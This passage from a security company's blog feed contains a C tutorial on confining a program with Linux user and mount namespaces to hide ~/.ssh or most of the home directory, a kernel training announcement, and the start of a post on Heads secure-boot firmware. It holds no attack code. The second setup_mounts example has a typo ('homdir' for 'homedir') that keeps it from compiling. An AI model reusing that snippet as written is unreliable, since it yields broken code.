</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">path</span><span class="p">,</span> <span class="s">&#34;/proc/self/%s&#34;</span><span class="p">,</span> <span class="n">file</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_CLOEXEC</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">path</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">fd</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>A further helper is <code>update_uidgid_map()</code>, which constructs and writes the user and group mappings:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">from</span><span class="p">,</span> <span class="kt">uid_t</span> <span class="n">to</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">is_user</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">map_content</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">map_content</span><span class="p">,</span> <span class="s">&#34;%u %u 1</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">from</span><span class="p">,</span> <span class="n">to</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">is_user</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;uid_map&#34;</span><span class="p">,</span> <span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;gid_map&#34;</span><span class="p">,</span> <span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">map_content</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>And finally another helper: <code>deny_setgroups()</code> writes <code>deny</code> to the <code>setgroups</code> file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">deny_setgroups</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">write_proc_self</span><span class="p">(</span><span class="s">&#34;setgroups&#34;</span><span class="p">,</span> <span class="s">&#34;deny</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Using the helpers from above and switching to uid and gid 0 happens in <code>become_uid0()</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">become_uid0</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="kt">gid_t</span> <span class="n">orig_gid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">deny_setgroups</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">orig_gid</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="mount-namespaces">Mount Namespaces</h2>
<p>The very first operation to the mount namespace is marking it as a hole as slave to the parent namespace. A slave mount namespace receives new mounts from outside. For example, if a user plugs in a USB thumb drive, this new mount point will also be visible to us. This is achieved with the following command:
<code>mount(&quot;none&quot;, &quot;/&quot;, NULL, MS_REC|MS_SLAVE, NULL)</code>. The important settings are <code>MS_REC</code> and <code>MS_SLAVE</code>.</p>
<p>By setting the <code>MS_REC</code> flag we tell Linux to apply the new settings to all mount points below <code>/</code>.
And <code>MS_SLAVE</code> sets the mounts, as the name describes, into slave mode.
If we didn&rsquo;t want to see new mounts instead of <code>MS_SLAVE</code>, <code>MS_PRIVATE</code> can be used.</p>
<h3 id="adding-new-mounts">Adding new mounts</h3>
<p>Since we&rsquo;re still unprivileged despite being uid 0 in our user namespace, we are only allowed to perform certain operations on the mount namespace.
Our mount namespace is an immutable copy of the namespace we were in before, so we cannot unmount individual parts of it. However, we are allowed to unmount it as a whole or add new mounts to it. We&rsquo;ll use the latter.  Only very few virtual file systems can be mounted within a user namespace.  One of them is <code>tmpfs</code>, which is an in-memory filesystem. We&rsquo;ll use it to over mount <code>.ssh</code>, so that <code>.ssh</code> becomes an empty directory where all modifications are done to ram but the underlying content is hidden.
To ensure that no memory is wasted by filling <code>tmpfs</code>, we&rsquo;ll mount it as read-only, so that nobody can write to it.
Changing the working directory to <code>/</code> and back is an important step. If we don&rsquo;t do so and the current directory is the user&rsquo;s <code>.ssh</code>, the process will still posess a reference and can access it.</p>
<p>All of the above happens in <code>setup_mounts()</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">setup_mounts</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">curdir</span> <span class="o">=</span> <span class="nf">get_current_dir_name</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">homedir</span> <span class="o">=</span> <span class="nf">getenv</span><span class="p">(</span><span class="s">&#34;HOME&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="o">*</span><span class="n">sshdir</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;none&#34;</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_REC</span> <span class="o">|</span> <span class="n">MS_SLAVE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sshdir</span><span class="p">,</span> <span class="s">&#34;%s/.ssh&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">sshdir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">MS_RDONLY</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">chdir</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">chdir</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">sshdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>But we&rsquo;re not done yet. The mount we just made can still be undone, if somebody finds a way to execute code within the program we&rsquo;re wrapping all our modifications to the original mount namespace can be undone.</p>
<h2 id="sealing">Sealing</h2>
<p>To seal the current mount namespace, we create a new user namespace. User and mount namespaces are tightly connected. Every mount namespace has an owning user namespace and modifications are only allowed by the owner. With the new user namespace we give up the ownership and make sure no further modifications can happen. Additionally, we switch back to the user and group ids we had initially.
So we utilize again the <code>unshare()</code> system call, but this time only with the <code>CLONE_NEWUSER</code> flag, and install the following uid and gid mappings, <code>0 1000 1</code>, <code>0 100 1</code>. The attentive reader will notice that this time we map back from 0 to 1000 or 100 again.</p>
<p>So we need another helper: <code>become_orig()</code>. It switches back to the original user ids:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">become_orig</span><span class="p">(</span><span class="kt">uid_t</span> <span class="n">orig_uid</span><span class="p">,</span> <span class="kt">gid_t</span> <span class="n">orig_gid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="n">orig_gid</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">update_uidgid_map</span><span class="p">(</span><span class="n">orig_uid</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setuid</span><span class="p">(</span><span class="n">orig_uid</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">setgid</span><span class="p">(</span><span class="n">orig_gid</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="finally">Finally</h2>
<p>After all, in <code>main()</code> everything comes together:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">new_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">&#34;/bin/bash&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="kt">uid_t</span> <span class="n">my_uid</span> <span class="o">=</span> <span class="nf">getuid</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kt">gid_t</span> <span class="n">my_gid</span> <span class="o">=</span> <span class="nf">getgid</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWNS</span> <span class="o">|</span> <span class="n">CLONE_NEWUSER</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">become_uid0</span><span class="p">(</span><span class="n">my_uid</span><span class="p">,</span> <span class="n">my_gid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">setup_mounts</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">unshare</span><span class="p">(</span><span class="n">CLONE_NEWUSER</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">become_orig</span><span class="p">(</span><span class="n">my_uid</span><span class="p">,</span> <span class="n">my_gid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nf">execvp</span><span class="p">(</span><span class="n">new_argv</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">new_argv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Here we&rsquo;re wrapping <code>/bin/bash</code>, where you can directly run the program as regular user. In the new shell you&rsquo;ll find your <code>.ssh</code> directory empty.
Download the complete program  <a href="https://sigma-star.at/blog/2023/03/sandbox-mountns/nodotssh.c">here</a>.</p>
<h2 id="another-example">Another Example</h2>
<p>Simply over mounting a directory to hide it is not always a perfect fit. Consider the more complicated case where you want to hide everything except one directory in your home directory.
For example, a download application shall not access files in <code>/home/user/</code> but <code>/home/user/Downloads/</code>.
Just mounting a <code>tmpfs</code> on <code>/home/user/</code> will hide everything.
The task can be accomplished by using the property that the current working directory holds a reference to the mount point and keeps it from vanishing.</p>
<h3 id="necessary-steps">Necessary steps</h3>
<ol>
<li>Change the current directory to <code>/home/user</code></li>
<li>Mount a <code>tmpfs</code> to <code>/home/user</code></li>
<li>Create <code>/home/user/Downloads</code> - this has to be an absolute path to target the new <code>tmpfs</code>!</li>
<li>Remount <code>/home/user</code> to read-only mode</li>
<li>Bind mount <code>Downloads</code> to <code>/home/user/Downloads</code>; it is crucial to use a relative path as source, as <code>mount()</code> will use our current working directory - therefore bind <code>Download</code> from the overmounted home directory.</li>
</ol>
<p>In code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="nf">setup_mounts</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">curdir</span> <span class="o">=</span> <span class="nf">get_current_dir_name</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">homedir</span> <span class="o">=</span> <span class="nf">getenv</span><span class="p">(</span><span class="s">&#34;HOME&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span> <span class="o">*</span><span class="n">downloadsdir</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;none&#34;</span><span class="p">,</span> <span class="s">&#34;/&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_REC</span> <span class="o">|</span> <span class="n">MS_SLAVE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">asprintf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">downloadsdir</span><span class="p">,</span> <span class="s">&#34;%s/%s&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">,</span> <span class="s">&#34;Downloads&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="n">homedir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">homdir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mkdir</span><span class="p">(</span><span class="n">downloadsdir</span><span class="p">,</span> <span class="mo">0700</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">homedir</span><span class="p">,</span> <span class="s">&#34;tmpfs&#34;</span><span class="p">,</span> <span class="n">MS_REMOUNT</span> <span class="o">|</span> <span class="n">MS_RDONLY</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">assert</span><span class="p">(</span><span class="nf">mount</span><span class="p">(</span><span class="s">&#34;Downloads&#34;</span><span class="p">,</span> <span class="n">downloadsdir</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">MS_BIND</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">downloadsdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="s">&#34;/&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">chdir</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nf">free</span><span class="p">(</span><span class="n">curdir</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h2 id="summary">Summary</h2>
<p>Namespace are not only useful to build containers, but they can also be utilized to restrict access. In this case we used mount namespaces to limit access to certain parts of the file system.
For more details on namespaces, see <a href="https://man7.org/linux/man-pages/man7/namespaces.7.html">namespaces(7)</a>.</p>
]]></content:encoded></item><item><title>Training: Kernel Internals for Linux Admins</title><link>https://sigma-star.at/blog/2022/12/linux-internals-training/</link><pubDate>Tue, 13 Dec 2022 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/12/linux-internals-training/</guid><description><![CDATA[<h1 id="training-kernel-internals-for-linux-admins">Training: Kernel Internals for Linux Admins</h1>
<p>It&rsquo;s our very pleasure to announce a new training that will take place in early 2023.</p>
<h2 id="overview">Overview</h2>
<p>Understanding certain kernel internals is not only useful for persons that intend developing kernel related software.
It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur.
Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.</p>]]></description><content:encoded><![CDATA[<h1 id="training-kernel-internals-for-linux-admins">Training: Kernel Internals for Linux Admins</h1>
<p>It&rsquo;s our very pleasure to announce a new training that will take place in early 2023.</p>
<h2 id="overview">Overview</h2>
<p>Understanding certain kernel internals is not only useful for persons that intend developing kernel related software.
It helps also while analyzing the runtime behavior of Linux in several situations a system administrator might occur.
Even seasoned Linux admins can benefit from knowing where exactly to attach probes to or how to gather certain system statistics without excessive tooling.</p>
<h3 id="agenda">Agenda</h3>
<ul>
<li>Overview of major subsystems in Linux and how they interact with each other.</li>
<li>Deep dive into storage, network, CPU scheduling, security and container subsystems.</li>
<li>Key kernel functions where attaching probes is fruitful when debugging issues.</li>
<li>Differences between kernel versions of major Linux distributions (Debian, Ubuntu, RHEL, SLES).</li>
<li>Deep dive into /proc, /sys and debugfs interfaces to understand how common tools work on Linux.</li>
<li>Introduction to kernel tracing using perf, ftrace, bpftrace and other tools.</li>
</ul>
<h3 id="training-procedure">Training procedure</h3>
<ul>
<li>Duration: 8 hours</li>
<li>Price: EUR 1.000,- per person.</li>
<li>Format: Remote; all presented material will be available to attendees after the session</li>
<li>Targeted dates: March 22nd 2023, March 23rd 2023, April 26th 2023, April 27th 2023</li>
</ul>
<p>Upon request the training is also available on site or at our training center in Innsbruck, Austria.
Please mail to <a href="mailto:office@sigma-star.at">office@sigma-star.at</a> for questions and registration.</p>
]]></content:encoded></item><item><title>Securely booting x86 using Heads</title><link>https://sigma-star.at/blog/2022/11/securely-booting-x86-heads/</link><pubDate>Thu, 10 Nov 2022 00:00:00 +0100</pubDate><author>Aaron Marcher</author><guid>https://sigma-star.at/blog/2022/11/securely-booting-x86-heads/</guid><description>&lt;h1 id="securely-booting-x86-using-heads">Securely booting x86 using Heads&lt;/h1>
&lt;p>Measures to protect firmware, bootloader and operating system from tampering
have a long history in embedded development (also Smartphones and Tablets). We have been
deploying such solutions for many different customers. However, our own development
machines, which are x86 most of the time, suffer
from very similar issues. Secureboot and similar solutions try to solve at least
some associated risks. Nonetheless, a complete chain of trust, including a trustable
root of trust, is nearly impossible on conventional x86 architecture.&lt;/p></description><content:encoded><![CDATA[<h1 id="securely-booting-x86-using-heads">Securely booting x86 using Heads</h1>
<p>Measures to protect firmware, bootloader and operating system from tampering
have a long history in embedded development (also Smartphones and Tablets). We have been
deploying such solutions for many different customers. However, our own development
machines, which are x86 most of the time, suffer
from very similar issues. Secureboot and similar solutions try to solve at least
some associated risks. Nonetheless, a complete chain of trust, including a trustable
root of trust, is nearly impossible on conventional x86 architecture.</p>
<p>This blog post introduces an alternative open-source firmware project,
addressing these weak points of x86 architecture with different measures.
It is the result of some research and experimentation at work with Heads
and Qubes OS.</p>
<h2 id="introducing-heads">Introducing Heads</h2>
<figure>
<img src="img/heads.jpg" loading="lazy" decoding="async" alt="Heads" width="1500" height="1000"></figure>
<p>Heads<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> was initially presented at &ldquo;Chaos Communication Congress 33c3 (2016/17)&rdquo;<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>,
without gaining lots of popularity the following years. In the meanwhile,
some (pretty well-known) vendors adopted heads into their mainboards and/or
laptops (e.g. Purism Librem<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> or NitroKey NitroPad<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>), which has boosted
Heads&rsquo; development tremendously.</p>
<p>Summarized, Heads implements a form of <em>measured boot</em>, where the root of trust
is moved into the write-protected SPI-flash and the chain of trust is coherent
until the operating system takes over. Tampering of firmware, bootloader or the
kernel is not impossible, however the user is immediately notified if such a
(potentially malicious) action was detected.</p>
<h3 id="what-about-tails">What about Tails?</h3>
<p><strong>Tails</strong> is often referred to in this context because it provides the opposite
advantages to Heads, however tries to solve similar architectural problems.</p>
<blockquote>
<p>The flip side of Tails.
Unlike Tails, which aims to be a stateless OS that leaves no trace on the
computer of its presence, Heads is intended for the case where you need to
store data and state on the computer. <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
</blockquote>
<p>On one hand, Tails is a secure stateless operating system, leaving no
traces after shutdown. On the other hand, Heads provides the necessary
firmware to work with a stateful operating system, but verifies its
state on every boot (to prevent tampering).</p>
<h2 id="the-flaws-of-x86-bios-and-uefi">The flaws of x86 BIOS and UEFI</h2>
<p>Before starting to describe how Heads may increase the overall
firmware security of your x86 hardware, let&rsquo;s rethink and question
traditional BIOS and UEFI.</p>
<pre tabindex="0"><code>From: Linus Torvalds &lt;torvalds@osdl.org&gt;
Newsgroups: fa.linux.kernel
Message-ID: &lt;fa.K4M0mC9bP4Gr24fvdHc+zatz61M@ifi.uio.no&gt;
The problem with EFI is that it actually superficially
looks much better than the BIOS, but in practice it ends
up being one of those things where it has few real
advantages, and often just a lot of extra complexity
because of the &#34;new and improved&#34; interfaces that were
largely defined by a committee.
Not that I&#39;d ever claim that the BIOS is wonderful either.
Linus
</code></pre><p>Linus Torvalds brings up a valid point: Modern EFI implementations as well as
old BIOS consist of a lot of large, unauditable, complex code (even graphical
UI including web browser is common in today&rsquo;s firmwares).</p>
<p>Intel&rsquo;s edk2 tree (UEFI) would be open-source at core, however different
vendors have their own closed-source implementations. (Security) updates,
bugfixes, enhancements etc. are all on the behalf of the manufacturer -
and take their time to bubble down the firmware supply chains.</p>
<figure>
<img src="img/bios_supply_chains.png" loading="lazy" decoding="async" alt="BIOS supply chains" width="1314" height="646"></figure>
<p>Also, the signing keys for Secure Boot are in most cases in absolute
control of the vendor, which opens the possibility of leaks to third
parties.</p>
<h3 id="the-problem-with-intels-management-engine">The problem with Intel&rsquo;s Management Engine</h3>
<p>Additionally, lots of unverifiable code is in Intel&rsquo;s Management
Engine, a coprocessor which has access to almost all devices of a
platform (memory, network, peripherals). It was originally meant to be a
management tool for large organizations, but auditing its exact
function is impossible. Heads has included an awesome open source project
to disable most parts of this potentially dangerous hardware: ME Cleaner<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
However, the Intel ME is a very complex topic which would exceed the boundaries
of this blog post. Read more about it here.<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup><sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></p>
<h3 id="exploiting-and-protecting-x86-firmware">Exploiting and protecting x86 firmware</h3>
<p>The state of firmware, bootloader, Kernel and operating system is unknown after
leaving alone a device for an undefined period (e.g. in a hotel room). That opens
a whole range of threats to the overall security of the device. Read more about
x86&rsquo;s state problems in a paper from Joanna Rutkowska.<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></p>
<p>Good historical examples for these kinds of attacks are:</p>
<ul>
<li>HackingTeam malware installed through UEFI (2015)<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></li>
<li>CIA backdoor exploited through UEFI (uncovered by WikiLeaks, 2017)<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></li>
<li>Vulnerabilities like Thunderstrike (2014)<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></li>
<li>Exploits like LightEater (2015)<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></li>
</ul>
<h3 id="attempts-of-protection">Attempts of protection</h3>
<p>Obviously, vendors and manufacturers tried to mitigate the risk of
such attacks.</p>
<ul>
<li>Intel: One attempt was Intel&rsquo;s Boot Guard/Verified Boot. However, it
silently fails upon mismatching signatures, which renders it completely useless.</li>
<li>Google: Google&rsquo;s attempt is vboot2 used on Chromebooks, which really addresses some of
the present issues. Unfortunately, it is too specialized and unflexible to support a broad
range of devices.</li>
<li>GNU GRUB: That&rsquo;s why GNU GRUB has been forked to Trusted GRUB, which has support for
TPM and signed kernels. The problem with it is, that it duplicates all device/
filesystem driver functionality from Linux kernel and thus becomes bloated too.
Additionally, the code is not professionally audited nor widely adopted or
tested.</li>
</ul>
<p>None of these solutions allow us to completely verify the chain of trust from
the hardware start to the Kernel / operating system boot without any major
flaws. That&rsquo;s when Heads comes into play.</p>
